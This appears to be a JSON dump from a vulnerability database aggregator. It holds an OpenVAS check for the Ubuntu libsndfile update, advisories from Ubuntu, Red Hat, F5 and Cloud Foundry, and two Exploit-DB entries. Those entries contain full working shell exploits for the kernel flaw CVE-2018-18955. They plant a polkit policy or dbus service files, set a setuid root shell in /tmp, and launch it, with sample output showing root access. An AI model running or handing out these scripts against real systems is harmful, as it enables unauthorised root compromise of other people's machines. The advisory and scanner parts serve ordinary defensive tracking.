script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/ubuntu_linux\", \"ssh/login/packages\", re:\"ssh/login/release=(UBUNTU18\\.04 LTS|UBUNTU18\\.10|UBUNTU16\\.04 LTS)\");\n\n script_xref(name:\"USN\", value:\"4013-1\");\n script_xref(name:\"URL\", value:\"https://lists.ubuntu.com/archives/ubuntu-security-announce/2019-June/004952.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'libsndfile'\n package(s) announced via the USN-4013-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"It was discovered that libsndfile incorrectly handled certain malformed\nfiles. A remote attacker could use this issue to cause libsndfile to crash,\nresulting in a denial of service, or possibly execute arbitrary code.\");\n\n script_tag(name:\"affected\", value:\"'libsndfile' package(s) on Ubuntu 18.10, Ubuntu 18.04 LTS, Ubuntu 16.04 LTS.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nrelease = dpkg_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"UBUNTU18.04 LTS\") {\n\n if(!isnull(res = isdpkgvuln(pkg:\"libsndfile1\", ver:\"1.0.28-4ubuntu0.18.04.1\", rls:\"UBUNTU18.04 LTS\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nif(release == \"UBUNTU18.10\") {\n\n if(!isnull(res = isdpkgvuln(pkg:\"libsndfile1\", ver:\"1.0.28-4ubuntu0.18.10.1\", rls:\"UBUNTU18.10\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nif(release == \"UBUNTU16.04 LTS\") {\n\n if(!isnull(res = isdpkgvuln(pkg:\"libsndfile1\", ver:\"1.0.25-10ubuntu0.16.04.2\", rls:\"UBUNTU16.04 LTS\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "ubuntu": [{"lastseen": "2019-06-10T19:21:36", "bulletinFamily": "unix", "description": "It was discovered that libsndfile incorrectly handled certain malformed files. A remote attacker could use this issue to cause libsndfile to crash, resulting in a denial of service, or possibly execute arbitrary code.", "modified": "2019-06-10T00:00:00", "published": "2019-06-10T00:00:00", "id": "USN-4013-1", "href": "https://usn.ubuntu.com/4013-1/", "title": "libsndfile vulnerabilities", "type": "ubuntu", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "redhat": [{"lastseen": "2019-08-13T18:44:37", "bulletinFamily": "unix", "description": "The kernel-alt packages provide the Linux kernel version 4.x.\n\nSecurity Fix(es):\n\n* kernel: lack of check for mmap minimum address in expand_downwards in mm/mmap.c leads to NULL pointer dereferences exploit on non-SMAP platforms (CVE-2019-9213)\n\n* kernel: use-after-free in ucma_leave_multicast in drivers/infiniband/core/ucma.c (CVE-2018-14734)\n\n* kernel: Unprivileged users able to inspect kernel stacks of arbitrary tasks (CVE-2018-17972)\n\n* kernel: TLB flush happens too late on mremap (CVE-2018-18281)\n\n* kernel: Type confusion in drivers/tty/n_tty.c allows for a denial of service (CVE-2018-18386)\n\n* kernel: userfaultfd bypasses tmpfs file permissions (CVE-2018-18397)\n\n* kernel: Integer overflow in the alarm_timer_nsleep function (CVE-2018-13053)\n\n* kernel: NULL pointer dereference in xfs_da_shrink_inode function (CVE-2018-13094)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nBug Fix(es):\n\n* Failed to boot with ftrace=function in kvm with 2vcpu (BZ#1501024)\n\n* [ALT-7.5][x86_64] perf test 63 - inet_pton fails on x86_64 (BZ#1518836)\n\n* BUG: potential out-of-bounds string access when forcing a SELinux label on a file (BZ#1595706)\n\n* stack out-of-bounds in smb{2,3}_create_lease_buf() on SMB2/SMB3 mounts (BZ#1598757)\n\n* [ALT-7.6][KVM][PANIC] ltp/lite proc01 - Unable to handle kernel paging request at virtual address ffff7fe000200018 (BZ#1623193)\n\n* Kernel lock up due to read/write lock (BZ#1636261)\n\n* [RHEL-ALT] Fix potential Spectre v1 in tty code (BZ#1639679)\n\n* [Huawei AArch64 7.6 Bug] HNS3: Vlan on HNS3 NIC cannot communicate (BZ#1639713)\n\n* [RHEL7.6-ALT][AWS] backport \"nvme: update timeout module parameter type\" (BZ#1654958)\n\n* ignore STABLE_FLAG of rmap_item->address in rmap_walk_ksm (BZ#1663565)\n\n* RHEL-Alt-7.6 - kernel: zcrypt: fix specification exception on z196 at ap probe (BZ#1670018)\n\n* [Huawei AArch64 7.6 Bug] Flock over NFSv3 failed (BZ#1670650)\n\n* [Huawei AArch64 7.6/7.6-z Bug] HNS3: if a single transmit packet(skb) has more than 8 frags, will cause the NIC to be unavailable (BZ#1677643)\n\n* krb5{,i,p} doesn't work with older enctypes on aarch64 (BZ#1678922)\n\nUsers of kernel are advised to upgrade to these updated packages, which fix these bugs.", "modified": "2019-04-23T17:37:09", "published": "2019-04-23T16:37:36", "id": "RHSA-2019:0831", "href": "https://access.redhat.com/errata/RHSA-2019:0831", "type": "redhat", "title": "(RHSA-2019:0831) Important: kernel-alt security and bug fix update", "cvss": {"score": 6.1, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:C"}}], "f5": [{"lastseen": "2019-12-09T23:27:43", "bulletinFamily": "software", "description": "\nF5 Product Development has evaluated the currently supported releases for potential vulnerability, and no F5 products were found to be vulnerable.\n\nNone\n\n * [K51812227: Understanding Security Advisory versioning](<https://support.f5.com/csp/article/K51812227>)\n * [K41942608: Overview of AskF5 Security Advisory articles](<https://support.f5.com/csp/article/K41942608>)\n * [K4602: Overview of the F5 security vulnerability response policy](<https://support.f5.com/csp/article/K4602>)\n * [K9970: Subscribing to email notifications regarding F5 products](<https://support.f5.com/csp/article/K9970>)\n * [K9957: Creating a custom RSS feed to view new and updated documents](<https://support.f5.com/csp/article/K9957>)\n", "modified": "2019-04-09T02:20:00", "published": "2019-04-09T02:20:00", "id": "F5:K39103040", "href": "https://support.f5.com/csp/article/K39103040", "title": "Kernel vulnerability CVE-2018-18955", "type": "f5", "cvss": {"score": 4.4, "vector": "AV:L/AC:M/Au:N/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2019-07-26T11:22:52", "bulletinFamily": "exploit", "description": "", "modified": "2019-01-04T00:00:00", "published": "2019-01-04T00:00:00", "id": "EDB-ID:47167", "href": "https://www.exploit-db.com/exploits/47167", "type": "exploitdb", "title": "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (polkit Method)", "sourceData": "#!/bin/sh\r\n#\r\n# EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47167.zip\r\n#\r\n# wrapper for Jann Horn's exploit for CVE-2018-18955\r\n# uses polkit technique\r\n# ---\r\n# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.polkit.sh\r\n# [*] Compiling...\r\n# [*] Creating /usr/share/polkit-1/actions/subuid.policy...\r\n# [.] starting\r\n# [.] setting up namespace\r\n# [~] done, namespace sandbox set up\r\n# [.] mapping subordinate ids\r\n# [.] subuid: 165536\r\n# [.] subgid: 165536\r\n# [~] done, mapped subordinate ids\r\n# [.] executing subshell\r\n# [*] Launching pkexec...\r\n# [+] Success:\r\n# -rwsrwxr-x 1 root root 8384 Dec 29 14:22 /tmp/sh\r\n# [*] Cleaning up...\r\n# [*] Launching root shell: /tmp/sh\r\n# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id\r\n# uid=0(root) gid=0(root) groups=0(root),1001(test)\r\n\r\nrootshell=\"/tmp/sh\"\r\npolicy=\"subuid.policy\"\r\n\r\ncommand_exists() {\r\n command -v \"${1}\" >/dev/null 2>/dev/null\r\n}\r\n\r\nif ! command_exists gcc; then\r\n echo '[-] gcc is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! command_exists /usr/bin/pkexec; then\r\n echo '[-] pkexec is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! command_exists /usr/bin/newuidmap; then\r\n echo '[-] newuidmap is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! command_exists /usr/bin/newgidmap; then\r\n echo '[-] newgidmap is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! test -w .; then\r\n echo '[-] working directory is not writable'\r\n exit 1\r\nfi\r\n\r\necho \"[*] Compiling...\"\r\n\r\nif ! gcc subuid_shell.c -o subuid_shell; then\r\n echo 'Compiling subuid_shell.c failed'\r\n exit 1\r\nfi\r\n\r\nif ! gcc subshell.c -o subshell; then\r\n echo 'Compiling gcc_subshell.c failed'\r\n exit 1\r\nfi\r\n\r\nif ! gcc rootshell.c -o \"${rootshell}\"; then\r\n echo 'Compiling rootshell.c failed'\r\n exit 1\r\nfi\r\n\r\necho \"[*] Creating /usr/share/polkit-1/actions/${policy}...\"\r\n\r\necho '<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<!DOCTYPE policyconfig PUBLIC\r\n \"-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN\"\r\n \"http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd\">\r\n<policyconfig>\r\n <action id=\"org.freedesktop.policykit.exec\">\r\n <defaults>\r\n <allow_any>yes</allow_any>\r\n <allow_inactive>yes</allow_inactive>\r\n <allow_active>yes</allow_active>\r\n </defaults>\r\n </action>\r\n</policyconfig>' > \"${policy}\"\r\n\r\necho \"cp ${policy} /usr/share/polkit-1/actions/${policy}\" | ./subuid_shell ./subshell\r\n\r\nif ! test -r \"/usr/share/polkit-1/actions/${policy}\"; then\r\n echo '[-] Failed'\r\n /bin/rm \"${rootshell}\"\r\n exit 1\r\nfi\r\n\r\necho \"[*] Launching pkexec...\"\r\n\r\n/usr/bin/pkexec --disable-internal-agent 2>/dev/null /bin/sh -c \"/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}\"\r\n\r\nif ! test -u \"${rootshell}\"; then\r\n echo '[-] Failed'\r\n /bin/rm \"${rootshell}\"\r\n exit 1\r\nfi\r\n\r\necho '[+] Success:'\r\n/bin/ls -la \"${rootshell}\"\r\n\r\necho '[*] Cleaning up...'\r\n/bin/rm subuid_shell\r\n/bin/rm subshell\r\n/bin/rm \"${policy}\"\r\necho \"/bin/rm /usr/share/polkit-1/actions/${policy}\" | $rootshell\r\n\r\necho \"[*] Launching root shell: ${rootshell}\"\r\n$rootshell", "cvss": {"score": 4.4, "vector": "AV:L/AC:M/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://www.exploit-db.com/download/47167"}, {"lastseen": "2019-07-26T11:23:04", "bulletinFamily": "exploit", "description": "", "modified": "2019-01-04T00:00:00", "published": "2019-01-04T00:00:00", "id": "EDB-ID:47165", "href": "https://www.exploit-db.com/exploits/47165", "type": "exploitdb", "title": "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (dbus Method)", "sourceData": "#!/bin/sh\r\n#\r\n# EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47165.zip\r\n#\r\n# wrapper for Jann Horn's exploit for CVE-2018-18955\r\n# uses dbus service technique\r\n# ---\r\n# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.dbus.sh\r\n# [*] Compiling...\r\n# [*] Creating /usr/share/dbus-1/system-services/org.subuid.Service.service...\r\n# [.] starting\r\n# [.] setting up namespace\r\n# [~] done, namespace sandbox set up\r\n# [.] mapping subordinate ids\r\n# [.] subuid: 165536\r\n# [.] subgid: 165536\r\n# [~] done, mapped subordinate ids\r\n# [.] executing subshell\r\n# [*] Creating /etc/dbus-1/system.d/org.subuid.Service.conf...\r\n# [.] starting\r\n# [.] setting up namespace\r\n# [~] done, namespace sandbox set up\r\n# [.] mapping subordinate ids\r\n# [.] subuid: 165536\r\n# [.] subgid: 165536\r\n# [~] done, mapped subordinate ids\r\n# [.] executing subshell\r\n# [*] Launching dbus service...\r\n# Error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.\r\n# [+] Success:\r\n# -rwsrwxr-x 1 root root 8384 Jan 4 18:31 /tmp/sh\r\n# [*] Cleaning up...\r\n# [*] Launching root shell: /tmp/sh\r\n# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id\r\n# uid=0(root) gid=0(root) groups=0(root),1001(test)\r\n\r\nrootshell=\"/tmp/sh\"\r\nservice=\"org.subuid.Service\"\r\n\r\ncommand_exists() {\r\n command -v \"${1}\" >/dev/null 2>/dev/null\r\n}\r\n\r\nif ! command_exists gcc; then\r\n echo '[-] gcc is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! command_exists /usr/bin/dbus-send; then\r\n echo '[-] dbus-send is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! command_exists /usr/bin/newuidmap; then\r\n echo '[-] newuidmap is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! command_exists /usr/bin/newgidmap; then\r\n echo '[-] newgidmap is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! test -w .; then\r\n echo '[-] working directory is not writable'\r\n exit 1\r\nfi\r\n\r\necho \"[*] Compiling...\"\r\n\r\nif ! gcc subuid_shell.c -o subuid_shell; then\r\n echo 'Compiling subuid_shell.c failed'\r\n exit 1\r\nfi\r\n\r\nif ! gcc subshell.c -o subshell; then\r\n echo 'Compiling gcc_subshell.c failed'\r\n exit 1\r\nfi\r\n\r\nif ! gcc rootshell.c -o \"${rootshell}\"; then\r\n echo 'Compiling rootshell.c failed'\r\n exit 1\r\nfi\r\n\r\necho \"[*] Creating /usr/share/dbus-1/system-services/${service}.service...\"\r\n\r\ncat << EOF > \"${service}.service\"\r\n[D-BUS Service]\r\nName=${service}\r\nExec=/bin/sh -c \"/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}\"\r\nUser=root\r\nEOF\r\n\r\necho \"cp ${service}.service /usr/share/dbus-1/system-services/${service}.service\" | ./subuid_shell ./subshell\r\n\r\nif ! test -r \"/usr/share/dbus-1/system-services/${service}.service\"; then\r\n echo '[-] Failed'\r\n /bin/rm \"${rootshell}\"\r\n exit 1\r\nfi\r\n\r\necho \"[*] Creating /etc/dbus-1/system.d/${service}.conf...\"\r\n\r\ncat << EOF > \"${service}.conf\"\r\n<!DOCTYPE busconfig PUBLIC\r\n \"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN\"\r\n \"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd\">\r\n<busconfig>\r\n <policy context=\"default\">\r\n <allow send_destination=\"${service}\"/>\r\n </policy>\r\n</busconfig>\r\nEOF\r\n\r\necho \"cp ${service}.conf /etc/dbus-1/system.d/${service}.conf\" | ./subuid_shell ./subshell\r\n\r\nif ! test -r \"/etc/dbus-1/system.d/${service}.conf\"; then\r\n echo '[-] Failed'\r\n /bin/rm \"${rootshell}\"\r\n exit 1\r\nfi\r\n\r\necho \"[*] Launching dbus service...\"\r\n\r\n/usr/bin/dbus-send --system --print-reply --dest=\"${service}\" --type=method_call --reply-timeout=1 / \"${service}\"\r\n\r\nsleep 1\r\n\r\nif ! test -u \"${rootshell}\"; then\r\n echo '[-] Failed'\r\n /bin/rm \"${rootshell}\"\r\n exit 1\r\nfi\r\n\r\necho '[+] Success:'\r\n/bin/ls -la \"${rootshell}\"\r\n\r\necho '[*] Cleaning up...'\r\n/bin/rm subuid_shell\r\n/bin/rm subshell\r\n/bin/rm \"${service}.conf\"\r\n/bin/rm \"${service}.service\"\r\necho \"/bin/rm /usr/share/dbus-1/system-services/${service}.service\" | $rootshell\r\necho \"/bin/rm /etc/dbus-1/system.d/${service}.conf\" | $rootshell\r\n\r\necho \"[*] Launching root shell: ${rootshell}\"\r\n$rootshell", "cvss": {"score": 4.4, "vector": "AV:L/AC:M/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://www.exploit-db.com/download/47165"}], "cloudfoundry": [{"lastseen": "2019-05-29T18:32:57", "bulletinFamily": "software", "description": "# \n\n# Severity\n\nMedium\n\n# Vendor\n\nCanonical Ubuntu\n\n# Versions Affected\n\n * Canonical Ubuntu 16.04\n\n# Description\n\nUSN-3836-1 fixed vulnerabilities in the Linux kernel for Ubuntu 18.04 LTS. This update provides the corresponding updates for the Linux Hardware Enablement (HWE) kernel from Ubuntu 18.04 LTS for Ubuntu 16.04 LTS.\n\nJann Horn discovered that the Linux kernel mishandles mapping UID or GID ranges inside nested user namespaces in some situations. A local attacker could use this to bypass access controls on resources outside the namespace. (CVE-2018-18955)\n\nPhilipp Wendler discovered that the overlayfs implementation in the Linux kernel did not properly verify the directory contents permissions from within a unprivileged user namespace. A local attacker could use this to expose sensitive information (protected file names). (CVE-2018-6559)\n\nCVEs contained in this USN include: CVE-2018-18955, CVE-2018-6559\n\n# Affected Cloud Foundry Products and Versions\n\n_Severity is medium unless otherwise noted._\n\n * Cloud Foundry BOSH xenial-stemcells are vulnerable, including: \n * 170.x versions prior to 170.12\n * 97.x versions prior to 97.39\n * All other stemcells not listed.\n\n# Mitigation\n\nUsers of affected products are strongly encouraged to follow one of the mitigations below:\n\n * The Cloud Foundry project recommends upgrading the following BOSH xenial-stemcells: \n * Upgrade 170.x versions to 170.12\n * Upgrade 97.x versions to 97.39\n * All other stemcells should be upgraded to the latest version available on [bosh.io](<https://bosh.io/stemcells/#ubuntu-xenial>).\n\n# References\n\n * [USN-3836-2](<https://usn.ubuntu.com/3836-2>)\n * [CVE-2018-18955](<https://people.canonical.com/~ubuntu-security/cve/CVE-2018-18955>)\n * [CVE-2018-6559](<https://people.canonical.com/~ubuntu-security/cve/CVE-2018-6559>)\n", "modified": "2018-12-06T00:00:00", "published": "2018-12-06T00:00:00", "id": "CFOUNDRY:06094473CAEAE018F16A4156F4D14103", "href": "https://www.cloudfoundry.org/blog/usn-3836-2/", "title": "USN-3836-2: Linux kernel (HWE) vulnerabilities | Cloud Foundry", "type": "cloudfoundry", "cvss": {"score": 4.4, "vector": "AV:L/AC:M/Au:N/C:P/I:P/A:P"}}]}